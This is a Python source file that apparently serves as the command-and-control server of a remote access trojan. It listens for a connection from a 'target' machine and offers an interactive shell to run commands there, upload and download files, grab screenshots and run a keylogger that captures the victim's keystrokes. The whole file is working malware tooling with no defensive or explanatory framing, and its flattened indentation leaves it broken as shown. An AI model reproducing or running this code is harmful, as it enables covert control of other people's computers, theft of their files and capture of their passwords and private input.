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server2.py
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import socket
import termcolor
import json
import os
# #
# #
def reliable_recv():
data = ''
while True:
try:
data = data + target.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
# #
def reliable_send(data):
jsondata = json.dumps(data)
target.send(jsondata.encode())
#
def upload_file(file_name):
f = open(file_name, 'rb')
target.send(f.read())
def download_file(file_name):
f = open(file_name, 'wb')
target.settimeout(1)
chunk = target.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = target.recv(1024)
except socket.timeout as e:
break
target.settimeout(None)
f.close()
#
def target_communication():
count = 0
while True:
command = input('* Shell~%s: ' % str(ip))
reliable_send(command)
if command == 'quit':
break
elif command == 'clear':
os.system('clear')
elif command[:3] == 'cd ':
pass
elif command[:6] == 'upload':
upload_file(command[7:])
elif command[:8] == 'download':
download_file(command[9:])
elif command[:10] == 'screenshot':
f = open('screenshot%d' % (count), 'wb')
target.settimeout(3)
chunk = target.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = target.recv(1024)
except socket.timeout as e:
break
target.settimeout(None)
f.close()
count += 1
elif command == "keylogger_start":
print("started")
elif command == "keylogger_stop":
print("stopped")
elif command == "keylogger_dump":
download_file("keylog")
#
elif command == 'help':
print(termcolor.colored('''\n
quit --->Quit Session with the Target
clear --->Clear the Screen
cd *Directory name* --->Change Directory on Target System
upload *File Name* --->Upload file to the Target Machine
download *File Name* --->Download file from the Target Machine
keylogger_start --->Start the keyLogger
keylog_dump --->Print the keystroke that the target Inputted.
keylog_stop --->Stop and Self destruct Keylogger File'''),
'red')
else:
result = reliable_recv()
print(result)
# #
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('127.0.0.1', 5555))
# sock.bind(('192.168.0.7', 5555))
print(termcolor.colored(
'[ + ] Listening for the incoming Connection', 'green'))
sock.listen(5)
# Inside target we have socket discriptor which we are using for further connection, and inside ip there is IP address of target machine
target, ip = sock.accept()
print(termcolor.colored('[ + ] Target connected From: ' + str(ip), 'green'))
# #
# #
# #
target_communication()